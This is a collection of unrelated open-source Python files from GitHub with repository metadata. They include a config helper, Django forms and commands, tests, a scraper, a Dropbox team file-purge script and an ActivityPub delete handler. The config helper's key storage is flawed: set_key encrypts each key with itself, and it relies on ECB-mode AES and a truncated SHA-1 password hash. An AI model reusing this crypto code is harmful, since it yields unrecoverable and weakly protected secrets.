{"seq_id": "35653606201", "text": "import ConfigParser\nimport os\nimport random\nimport base64\ntry:\n\tfrom Crypto.Cipher import AES\n\tSECURED=True\nexcept:\n\tSECURED=False\n\nclass Config:\n\tdef __init__(self,key=None):\n\t\t\"\"\" Initializes the class. The optional key parameter\n\t\tis used to encrypt some important data \"\"\"\n\t\tself.config=ConfigParser.SafeConfigParser()\n\t\tself.key=key\n\tdef get(self,key,default=None):\n\t\t\"\"\" Gets a value from the configuration file.\n\t\tkey Is the key to the property with the colon-separated section.\n\t\tdefault is the default value of the property if it is not in the configuration.\n\t\t\n\t\t>>> config=Config()\n\t\t>>> config.set('Main:Fruit','apple')\n\t\t>>> config.get('Main:Fruit')\n\t\t'apple'\n\t\t\n\t\t\"\"\"\n\t\ttry:\n\t\t\t(section,property)=key.split(':')\n\t\texcept:\n\t\t\t(section,property)=(ConfigParser.DEFAULTSECT,key)\n\t\ttry:\n\t\t\treturn self.config.get(section,property)\n\t\texcept:\n\t\t\treturn default\n\tdef getbool(self,key,default=False):\n\t\t\"\"\" A convenience method to get a boolean\n\t\t\n\t\t>>> config=Config()\n\t\t>>> config.set('Main:Save',False)\n\t\t>>> config.getbool('Main:Save')\n\t\tFalse\n\t\t\n\t\t\"\"\"\n\t\tif not default:\n\t\t\tdefault = 'false'\n\t\telse:\n\t\t\tdefault = 'true'\n\t\treturn not (self.get(key,default).lower()=='false')\n\tdef getint(self,key,default=0):\n\t\t\"\"\" A convenience method to get an integer\n\t\t \n\t\t>>> config=Config()\n\t\t>>> config.set('Main:Apples',3)\n\t\t>>> config.getint('Main:Apples')\n\t\t3\n\t\t \n\t\t\"\"\"\n\t\ttry:\n\t\t\treturn int(self.get(key,str(default)))\n\t\texcept:\n\t\t\treturn default\n\tdef set(self,key,value):\n\t\t\"\"\" Sets a property.\n\t\tkey Is the key to the property with the colon-separated section. If there is no colon,\n\t\t\tthe property will be saved in the default section\n\t\tvalue is the value of the property. Currently, it can be a string, an integer or a boolean.\n\t\tThis method returns a reference to the Config object, in order to\n\t\teasily chain configurations.\n\t\t\n\t\t>>> config=Config()\n\t\t>>> config.set('Main:Name','Jesse James')\n\t\t>>> config.get('Main:Name')\n\t\t'Jesse James'\n\t\t\n\t\t\"\"\"\n\t\t\n\t\t# Get the section and property, or use the DEFAULT section\n\t\ttry:\n\t\t\t(section,property)=key.split(':')\n\t\texcept:\n\t\t\t(section,property)=(ConfigParser.DEFAULTSECT,key)\n\t\t# convert integers and booleans into strings\n\t\tif not value: value=''\n\t\tif type(value)==int: value='%d'%value\n\t\tif type(value)==bool:\n\t\t\tvalue='true'\n\t\t\tif not value: value='false'\n\t\t# create the section, if not pressent\n\t\tif not self.config.has_section(section):\n\t\t\tself.config.add_section(section)\n\t\t# save the value\n\t\tself.config.set(section,property,value)\n\t\t# return the same object (to chain .set() statements)\n\t\treturn self\n\tdef load(self,source):\n\t\t\"\"\" Loads the configuration from a source.\n\t\tIf source is a file object, loads the configuration from the file.\n\t\tElse, it is managed as a string and reads configuration from string \"\"\"\n\t\tif type(source)==str:\n\t\t\timport StringIO\n\t\t\tself.config.readfp(StringIO.StringIO(source))\n\t\telse:\n\t\t\tself.config.readfp(source)\n\tdef save(self,fileobject=None):\n\t\t\"\"\" Saves the content in a destination.\n\t\tIf a fileobject is provided, configuration is saved in the file and returns None.\n\t\tOtherwise, the configuration is returned as a string \"\"\"\t\t\n\t\tif fileobject:\n\t\t\tself.config.write(fileobject)\n\t\t\treturn None\n\t\telse:\n\t\t\timport StringIO\n\t\t\ts=StringIO.StringIO()\n\t\t\tself.config.write(s)\n\t\t\treturn s.getvalue()\n\tdef get_key(self,id,enc_key=None):\n\t\t\"\"\" A convenience method to get a key from the config file.\n\t\tIf enc_key is provided, the key are decrypted with AES.\n\t\tIf enc_key is None, use the key provided during the\n\t\tinitialization of this class. \"\"\"\n\t\tif not enc_key: enc_key=self.key\n\t\tkf = None\n\t\tif enc_key:\n\t\t\tkf=self.get('Keys:'+id,None)\n\t\t\tif kf: kf=AES.new(enc_key).decrypt(base64.b32decode(kf))\n\t\telse:\n\t\t\tkf=self.get('Keys:'+id,None)\n\t\t\tif kf: kf=base64.b32decode(kf)\n\t\treturn kf\n\tdef set_key(self,id,key,enc_key=None):\n\t\t\"\"\" A convenience method to set a key.\n\t\tIf enc_key is provided, the key are crypted with AES. Else,\n\t\tthe key are just Base32 encoded. If enc_key is None, use\n\t\tthe key provided during the initialization of this class \"\"\"\n\t\tif not key: return\n\t\tif not enc_key: enc_key=self.key\n\t\tif enc_key:\n\t\t\tself.set('Keys:'+id,base64.b32encode(AES.new(key).encrypt(key)))\n\t\telse:\n\t\t\tself.set('Keys:'+id,base64.b32encode(key))\n\ndef format_error():\n\t\"\"\" Returns a formated string with information about the last error \"\"\"\n\timport traceback, sys\n\tei=sys.exc_info()\n\tfn,ln,fun,t=traceback.extract_tb(ei[2],1)[0]\n\ttraceback.print_exc()\n\treturn '%s (file=%s line=%s text=\"%s\")'%(ei[1],fn,ln,t)\n\nrandom_string_seed='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'\ndef random_string(length,printable=True):\n\t\"Returns a random string with a given length, optionally printable\"\n\ts=[]\n\tfor i in range(0,length):\n\t\tif printable:\n\t\t\ts.append(random.choice(random_string_seed))\n\t\telse:\n\t\t\ts.append(chr(random.randint(0,255)))\n\treturn ''.join(s)\n\ndef password_to_key(pwd):\n\t\"\"\" Returns a 16B key (suitable for AES) based on a password \"\"\"\n\tif SECURED:\n\t\tfrom Crypto.Hash import SHA\n\t\treturn SHA.new(pwd).digest()[0:16]\n\telse:\n\t\timport sha\n\t\treturn sha.sha(pwd).digest()[0:16]\n\ndef random_nick():\n\t\" Returns a random nick \"\n\treturn random_string(6,printable=True)\n\ndef configure_logging(**kwargs):\n\t\"\"\" A convenience method to call to basicConfig a couple of times.\n\tThis method has the same argument as logging.basicConfig plus:\n\t\tpreserve If True, preserve previosly configured handlers (default False)\n\t\"\"\"\n\timport logging\n\tlogging.raiseExceptions=0\n\tif not kwargs.get('preserve', False):\n\t\tfor h in logging.root.handlers: logging.root.handlers.remove(h)\n\tlogging.basicConfig(**kwargs)\n", "repo_name": "Juanvvc/scfs", "sub_path": "dfs/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 5590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "70", "api": [{"api_name": "ConfigParser.SafeConfigParser", "line_number": 15, "usage_type": "call"}, {"api_name": "ConfigParser.DEFAULTSECT", "line_number": 31, "usage_type": "attribute"}, {"api_name": "ConfigParser.DEFAULTSECT", "line_number": 82, "usage_type": "attribute"}, {"api_name": "StringIO.StringIO", "line_number": 102, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 114, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 126, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 126, "usage_type": "name"}, {"api_name": "base64.b32decode", "line_number": 126, "usage_type": "call"}, {"api_name": "base64.b32decode", "line_number": 129, "usage_type": "call"}, {"api_name": "base64.b32encode", "line_number": 139, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 139, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 139, "usage_type": "name"}, {"api_name": "base64.b32encode", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 146, "usage_type": "call"}, {"api_name": "traceback.extract_tb", "line_number": 147, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 148, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 157, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 159, "usage_type": "call"}, {"api_name": "Crypto.Hash.SHA.new", "line_number": 166, "usage_type": "call"}, {"api_name": "Crypto.Hash.SHA", "line_number": 166, "usage_type": "name"}, {"api_name": "sha.sha", "line_number": 169, "usage_type": "call"}, {"api_name": "logging.raiseExceptions", "line_number": 181, "usage_type": "attribute"}, {"api_name": "logging.root", "line_number": 183, "usage_type": "attribute"}, {"api_name": "logging.root.handlers.remove", "line_number": 183, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 184, "usage_type": "call"}]}
{"seq_id": "42101049308", "text": "from django import forms\nfrom models import *\n\nclass Messageform(forms.ModelForm):\n    class Meta:\n        model=Messages_Orgs\n        exclude = ('sender_org_id',)\nclass Notificationform(forms.ModelForm):\n    class Meta:\n        model=Notifications_Org\n        fields=('target_org_id','is_message_from_org','message_from_org_id','is_message_from_admin','message_from_admin_id','is_request_from_admin','disaster_id')\n", "repo_name": "sairamkolla/Disaster-management-Portal", "sub_path": "portal/organisation/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.forms.ModelForm", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 4, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 8, "usage_type": "name"}]}
{"seq_id": "24894235664", "text": "import pytest\nfrom collections import Counter\n\nfrom src.encoding import Encryptor\n\n\n@pytest.mark.parametrize(\"word,cant_be_shuffled\", [\n    ('b', True),\n    ('big', True),\n    ('biiig', True),\n    ('home', False),\n    ('aloha', False)\n])\ndef test_shuffle_word(word, cant_be_shuffled):\n    b = Encryptor('')\n    if cant_be_shuffled:\n        assert b._shuffle_word(word) == word\n    else:\n        assert b._shuffle_word(word) != word\n\n\n@pytest.mark.parametrize(\"text,encrypted_words\", [\n    ('This is really big', ['really', 'This']),\n    ('This, is !!! really ## big **,', ['really', 'This']),\n    (\n        'This is a long looong test sentence,\\nwith some big (biiiiig) words!',\n        ['long', 'looong', 'sentence', 'some', 'test', 'This', 'with', 'words']\n    ),\n    (\n        'Lets say we have a sentence like that one',\n        ['have', 'Lets', 'like', 'sentence', 'that']\n    )\n])\ndef test_encode(text, encrypted_words):\n    b = Encryptor(text)\n    b.encode()\n    result = b.result_text.split('\\n-weird-\\n')[1]\n    assert b.encrypted_words == encrypted_words\n    for word in encrypted_words:\n        assert word not in result\n", "repo_name": "stasius12/weird-text", "sub_path": "tests/test_encoding.py", "file_name": "test_encoding.py", "file_ext": "py", "file_size_in_byte": 1132, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "src.encoding.Encryptor", "line_number": 15, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 7, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 7, "usage_type": "attribute"}, {"api_name": "src.encoding.Encryptor", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 22, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 22, "usage_type": "attribute"}]}
{"seq_id": "34748902732", "text": "\"\"\"Update content metadata for websites based on a specific starter\"\"\"  # noqa: INP001\nfrom django.db import transaction\n\nfrom main.management.commands.filter import WebsiteFilterCommand\nfrom websites.models import WebsiteContent, WebsiteStarter\nfrom websites.site_config_api import SiteConfig\nfrom websites.utils import get_dict_field, set_dict_field\n\n\nclass Command(WebsiteFilterCommand):\n    \"\"\"Update content metadata to the default value spcecified in starter. Only\n    affects content whose value for that metadata entry are null or empty.\n    \"\"\"\n\n    help = __doc__  # noqa: A003\n\n    def add_arguments(self, parser):\n        super().add_arguments(parser)\n        parser.add_argument(\n            \"--starter\", help=\"The WebsiteStarter slug to process\", required=True\n        )\n        parser.add_argument(\n            \"--field\",\n            help=\"The metadata field's name path to update, in dot notation. Example: image_metadata.caption\",  # noqa: E501\n            required=True,\n        )\n        parser.add_argument(\n            \"-t\",\n            \"--type\",\n            dest=\"type\",\n            help=\"Only update metadata for content with this type.\",\n            required=True,\n        )\n\n    def handle(self, *args, **options):\n        super().handle(*args, **options)\n        starter_str = options[\"starter\"]\n        field_path = options[\"field\"]\n        type_str = options[\"type\"]\n\n        content_qset = WebsiteContent.objects.filter(\n            website__starter__slug=starter_str, type=type_str\n        )\n        content_qset = self.filter_website_contents(content_qset)\n\n        base_metadata = SiteConfig(\n            WebsiteStarter.objects.get(slug=starter_str).config\n        ).generate_item_metadata(type_str, cls=WebsiteContent, use_defaults=True)\n        default_value = get_dict_field(base_metadata, field_path)\n        if default_value is None:\n            msg = f\"Metadata field {field_path} has no default\"\n            raise Exception(msg)  # noqa: TRY002\n\n        def should_update(website_content):\n            current_value = get_dict_field(website_content.metadata, field_path)\n            return current_value is None or current_value == \"\"\n\n        expected_updated = sum(1 for wc in content_qset.iterator() if should_update(wc))\n\n        confirmation = input(\n            f\"\"\"You are about to change {expected_updated} records metadata value:\n    field:     {field_path}\n    new value: {default_value}\n    old value: '' or null\n\nWould you like to proceed? (y/n):\"\"\"\n        )\n        if confirmation != \"y\":\n            self.stdout.write(\"Aborting...\")\n            return\n\n        updated = 0\n        with transaction.atomic():\n            for content in content_qset.iterator():\n                if should_update(content):\n                    set_dict_field(content.metadata, field_path, default_value)\n                    content.save()\n                    updated += 1\n\n        self.stdout.write(f\"Finished updating {updated} records.\")\n", "repo_name": "mitodl/ocw-studio", "sub_path": "websites/management/commands/set_content_metadata_to_default.py", "file_name": "set_content_metadata_to_default.py", "file_ext": "py", "file_size_in_byte": 2974, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "main.management.commands.filter.WebsiteFilterCommand", "line_number": 10, "usage_type": "name"}, {"api_name": "websites.models.WebsiteContent.objects.filter", "line_number": 41, "usage_type": "call"}, {"api_name": "websites.models.WebsiteContent.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "websites.models.WebsiteContent", "line_number": 41, "usage_type": "name"}, {"api_name": "websites.site_config_api.SiteConfig", "line_number": 46, "usage_type": "call"}, {"api_name": "websites.models.WebsiteStarter.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "websites.models.WebsiteStarter.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "websites.models.WebsiteStarter", "line_number": 47, "usage_type": "name"}, {"api_name": "websites.models.WebsiteContent", "line_number": 48, "usage_type": "name"}, {"api_name": "websites.utils.get_dict_field", "line_number": 49, "usage_type": "call"}, {"api_name": "websites.utils.get_dict_field", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 73, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 73, "usage_type": "name"}, {"api_name": "websites.utils.set_dict_field", "line_number": 76, "usage_type": "call"}]}
{"seq_id": "20155310996", "text": "from selenium.webdriver.common.by import By\nfrom scrapers.abstract import AbstractScraper\nfrom scrapers.websites import BASEBALL_PRESS_URL\nfrom models.mlb.lineup import MlbLineup\n\n\nclass MlbLineupScraper(AbstractScraper):\n    def __init__(self):\n        super().__init__(BASEBALL_PRESS_URL)\n\n    def get_resource(self, args):\n        date = args[\"date\"]\n        endpoint = f\"lineups/{date}\"\n        self.get(endpoint)\n        lineups = self.driver.find_elements(By.CLASS_NAME, \"lineup-card\")\n        data = [MlbLineup(lineup).toJson() for lineup in lineups]\n        return {\"lineups\": data}\n", "repo_name": "alancovarrubias/sports-app", "sub_path": "crawler/src/scrapers/mlb/lineup.py", "file_name": "lineup.py", "file_ext": "py", "file_size_in_byte": 591, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "70", "api": [{"api_name": "scrapers.abstract.AbstractScraper", "line_number": 7, "usage_type": "name"}, {"api_name": "scrapers.websites.BASEBALL_PRESS_URL", "line_number": 9, "usage_type": "argument"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 15, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 15, "usage_type": "name"}, {"api_name": "models.mlb.lineup.MlbLineup", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "5914655433", "text": "import datetime\nimport dropbox\nimport logging\n\n#---------------------------------------------------------------------------\n# Modify\n#---------------------------------------------------------------------------\nMAX_CONTENT_AGE = 100\nDISPLAY_ONLY_MODE = True\nTOKEN = \"YOUR-DROPBOX-BUSINESS-TEAM-MEMBER-FILE-ACCESS-TOKEN\"\nLOG_NAME = \"dropboxpurge.log\"\n#---------------------------------------------------------------------------\n\n\ndbx = dropbox.DropboxTeam(TOKEN)\nMAX_AGE = datetime.timedelta(days=MAX_CONTENT_AGE)\nFORMAT = '%(asctime)s %(message)s'\nlogging.basicConfig(filename=LOG_NAME, format=FORMAT, level=logging.INFO)\n\n\n\nclass bcolors:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n    UNDERLINE = '\\033[4m'\n\n\ndef log_init():\n    logging.info(\"Begin pass...\")\n    logging.info(\"MAX_CONTENT_AGE: {}\".format(MAX_CONTENT_AGE))\n    logging.info(\"DISPLAY_ONLY_MODE: {}\".format(str(DISPLAY_ONLY_MODE)))\n\n\ndef retrieve_member_list(recursive=True):\n    logging.info(\"retrieve_member_list (recursive={}\".format(str(recursive)))\n\n    all_members = []\n    members = dbx.team_members_list()\n    all_members.extend(members.members)\n    if recursive:\n        while members.has_more:\n            print(\"(retrieving another 1000 users)\")\n            logging.info(\"(retrieving another 1000 users)\")\n            members = dbx.team_members_list_continue(members.cursor)\n            all_members.extend(members.members)\n\n    logging.info(\"member list obtained - {} members\".format(len(all_members)))\n    return all_members\n\n\ndef dropbox_content(member_id):\n    logging.info(\"retrieving content for {}\".format(member_id))\n    content_listing = []\n    result = dbx.as_user(member_id).files_list_folder(path=\"\",\n                                                        recursive=True,\n                                                        include_media_info=False,\n                                                        include_deleted=False,\n                                                        include_has_explicit_shared_members=False)\n    content_listing.extend(result.entries)\n    while result.has_more:\n        result = dbx.as_user(member_id).files_list_folder_continue(result.cursor)\n        content_listing.extend(result.entries)\n\n    logging.info(\"retrieved content for {}\".format(member_id))\n    return content_listing\n\n\ndef display_content(content):\n    for item in content:\n        if type(item) == dropbox.files.FileMetadata:\n            last_touch_date = item.client_modified if item.client_modified > item.server_modified else item.server_modified\n            if last_touch_date.date() > (datetime.date.today() - MAX_AGE):\n                print(\"\\t{0} ({1})\".format(item.path_lower, last_touch_date))\n                logging.info(\"{} would not have been deleted\".format(item.path_lower))\n            else:\n                print(bcolors.FAIL + \"\\t{0} ({1})\".format(item.path_lower, last_touch_date) + bcolors.ENDC)\n                logging.info(\"{} would have been deleted\".format(item.path_lower))\n\n\ndef delete_content(content, member_id):\n    for item in content:\n        if type(item) == dropbox.files.FileMetadata:\n            last_touch_date = item.client_modified if item.client_modified > item.server_modified else item.server_modified\n            if last_touch_date.date() > (datetime.date.today() - MAX_AGE):\n                print(\"Ignoring:\\t{}\".format(item.path_lower))\n                logging.info(\"Ignored: {}\".format(item.path_lower))\n            else:\n                print(bcolors.FAIL + \"Deleting:\\t{}\".format(item.path_lower) + bcolors.ENDC)\n                logging.info(\"Attempting to delete: {}\".format(item.path_lower))\n                delete(member_id, item.path_lower)\n\n\ndef delete(member_id, path):\n    try:\n        result = dbx.as_user(member_id).files_delete(path)\n        if type(result) == dropbox.files.DeleteError:\n            print(\"Problem deleting {}\".format(path))\n            logging.info(\"Tried to delete: {} but couldn't\".format(path))\n        else:\n            print(\"deleted {}\".format(path))\n            logging.info(\"Deleted: {}\".format(path))\n    except dropbox.exceptions.ApiError:\n        print(\"Problem deleting {}\".format(path))\n        logging.info(\"Tried to delete: {} but couldn't\".format(path))\n\n\nif __name__ == \"__main__\":\n    log_init()\n    for team_member in retrieve_member_list():\n        if team_member.profile.status == dropbox.team.TeamMemberStatus.active:\n            print(bcolors.BOLD + 'Team Member:\\t{}'.format(team_member.profile.email) + bcolors.ENDC)\n            content = dropbox_content(team_member.profile.team_member_id)\n            if DISPLAY_ONLY_MODE:\n                display_content(content)\n            elif not DISPLAY_ONLY_MODE:\n                delete_content(content, team_member.profile.team_member_id)\n\n\n\n\n\n\n\n", "repo_name": "chadduffey/DropboxBusinessPurgeOldItems", "sub_path": "dropboxpurge.py", "file_name": "dropboxpurge.py", "file_ext": "py", "file_size_in_byte": 4902, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "dropbox.DropboxTeam", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 69, "usage_type": "call"}, {"api_name": "dropbox.files", "line_number": 75, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 77, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 79, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 82, "usage_type": "call"}, {"api_name": "dropbox.files", "line_number": 87, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 89, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 94, "usage_type": "call"}, {"api_name": "dropbox.files", "line_number": 101, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 103, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 106, "usage_type": "call"}, {"api_name": "dropbox.exceptions", "line_number": 107, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 109, "usage_type": "call"}, {"api_name": "dropbox.team", "line_number": 115, "usage_type": "attribute"}]}
{"seq_id": "73789020391", "text": "import os\nimport sys\n\nfrom services.proto import delete_pb2 as dpb\nfrom utils.articles import delete_article, get_article, get_sharers_of_article\n\nHOSTNAME_ENV = 'HOST_NAME'\n\nclass ReceiveDeleteServicer:\n    def __init__(self, logger, db, activ_util, users_util, hostname=None):\n        self._logger = logger\n        self._db = db\n        self._activ_util = activ_util\n        self._users_util = users_util\n        self._hostname = hostname if hostname else os.environ.get(HOSTNAME_ENV)\n        if not self._hostname:\n            self._logger.error(\"Hostname for SendDeleteServicer not set\")\n            sys.exit(1)\n\n    def ReceiveDeleteActivity(self, req, ctx):\n        self._logger.info(\"Received delete for article '%s'\", req.ap_id)\n        article = get_article(self._logger, self._db, ap_id=req.ap_id)\n        if article is None:\n            # Don't have the article, our work here is done.\n            # This can happen for natural reasons, dublicate deletes,\n            # deletes of articles that were created before a follower\n            # followed the creator, etc.\n            self._logger.info(\"Don't have article %s, exiting\", req.ap_id)\n            return dpb.DeleteResponse(result_type=dpb.DeleteResponse.OK)\n        author = self._users_util.get_user_from_db(global_id=article.author_id)\n        if author is None:\n            return dpb.DeleteResponse(\n                result_type=dpb.DeleteResponse.ERROR,\n                error=\"Could not retrieve author\",\n            )\n        # Grab the people who shared the article before we delete everything.\n        sharer_ids = get_sharers_of_article(\n            self._logger, self._db, article.global_id)\n        # Delete the local copy.\n        if not delete_article(self._logger, self._db, ap_id=req.ap_id):\n            return dpb.DeleteResponse(\n                result_type=dpb.DeleteResponse.ERROR,\n                error=\"Could not delete article\",\n            )\n        # Forward the delete to the announcers.\n        delete_obj = self._activ_util.build_delete(\n            author, article, self._hostname)\n        for user_id in sharer_ids:\n            err = self._activ_util.forward_activity_to_followers(\n                user_id, delete_obj)\n            if err is not None:\n                # Warn but do not quit on error sending to announcer followers.\n                self._logger.warning(\n                    \"Sending activity to %d followers failed\", user_id)\n        return dpb.DeleteResponse(result_type=dpb.DeleteResponse.OK)\n\n", "repo_name": "CPSSD/rabble", "sub_path": "services/activities/delete/receive_delete_servicer.py", "file_name": "receive_delete_servicer.py", "file_ext": "py", "file_size_in_byte": 2506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ.get", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 18, "usage_type": "call"}, {"api_name": "utils.articles.get_article", "line_number": 22, "usage_type": "call"}, {"api_name": "services.proto.delete_pb2.DeleteResponse", "line_number": 29, "usage_type": "call"}, {"api_name": "services.proto.delete_pb2", "line_number": 29, "usage_type": "name"}, {"api_name": "services.proto.delete_pb2.DeleteResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "services.proto.delete_pb2", "line_number": 32, "usage_type": "name"}, {"api_name": "services.proto.delete_pb2.DeleteResponse", "line_number": 33, "usage_type": "attribute"}, {"api_name": "services.proto.delete_pb2", "line_number": 33, "usage_type": "name"}, {"api_name": "utils.articles.get_sharers_of_article", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.articles.delete_article", "line_number": 40, "usage_type": "call"}, {"api_name": "services.proto.delete_pb2.DeleteResponse", "line_number": 41, "usage_type": "call"}, {"api_name": "services.proto.delete_pb2", "line_number": 41, "usage_type": "name"}, {"api_name": "services.proto.delete_pb2.DeleteResponse", "line_number": 42, "usage_type": "attribute"}, {"api_name": "services.proto.delete_pb2", "line_number": 42, "usage_type": "name"}, {"api_name": "services.proto.delete_pb2.DeleteResponse", "line_number": 55, "usage_type": "call"}, {"api_name": "services.proto.delete_pb2", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "43209170618", "text": "import enum\nimport typing\n\nfrom dataclasses import dataclass, field\n\n\n# Number of feet in a meter\nM_2_FT = 3.28084\n\nKM_2_MI = 0.621371\n\nSPEED_OF_LIGHT = 299792458\n\nEARTH_RADIUS_KM = 6371\nEARTH_RADIUS_M = EARTH_RADIUS_KM * 1000\n\nFREQUENCY_CHOICES = [\n    (2.437, \"2.4 GHz\"),\n    (3.6, \"3.65 GHz\"),\n    (5.4925, \"5 GHz\"),\n    (11.2, \"11 GHz\"),\n    (18.7, \"18 GHz\"),\n    (24.35, \"24 GHz\"),\n    (64.79, \"60 GHz\"),\n]\n\n\nclass FeatureType(enum.Enum):\n    AP = \"access_point\"\n    CPE = \"cpe\"\n    PTP_LINK = \"ptp_link\"\n    AP_CPE_LINK = \"ap_cpe_link\"\n    COVERAGE_AREA = \"coverage_area\"\n    AP_SECTOR = \"sector\"\n\n\n@dataclass\nclass _Limits(object):\n    min: float\n    max: float\n    default: float = 0\n\n    # There might be other defaults defined. Use this to make it easier to look\n    # them up\n    other_defaults: typing.Dict[str, float] = field(default_factory=dict)\n\n    # lookup _default\n    def __getattr__(self, attr):\n        if attr in self.other_defaults:\n            return self.other_defaults[attr]\n        else:\n            raise AttributeError(\n                f\"type object {repr(self.__class__.__name__)} has no attribute {repr(attr)}\"\n            )\n\n    # Return a version of this object with scaled factors\n    def get_scaled_limits(self, scale_factor):\n        return _Limits(\n            scale_factor * self.min,\n            scale_factor * self.max,\n            scale_factor * self.default,\n        )\n\n\nclass ModelLimits(object):\n    # Height in meters\n    HEIGHT = _Limits(0.1, 1000, 30, {\"cpe_default\": 1, \"ptp_default\": 18.29})\n\n    # Height in ft\n    HEIGHT_FT = HEIGHT.get_scaled_limits(M_2_FT)\n\n    # Radius in km\n    RADIUS = _Limits(0.1, 16, 2, {\"no_check_radius_default\": 0.01})\n\n    # Radius in mi\n    RADIUS_MILES = RADIUS.get_scaled_limits(KM_2_MI)\n\n    # Frequency in GHz\n    FREQUENCY = _Limits(0, 100, 2.437)\n\n    # Heading in degrees\n    HEADING = _Limits(0, 360, 0)\n\n    # Azimuth in degrees\n    AZIMUTH = _Limits(0.01, 360, 120)\n\n    # Name length\n    NAME = _Limits(1, 50)\n", "repo_name": "facebookincubator/ISPToolbox", "sub_path": "webserver/workspace/models/model_constants.py", "file_name": "model_constants.py", "file_ext": "py", "file_size_in_byte": 2009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "enum.Enum", "line_number": 28, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 45, "usage_type": "attribute"}, {"api_name": "dataclasses.field", "line_number": 45, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 37, "usage_type": "name"}]}
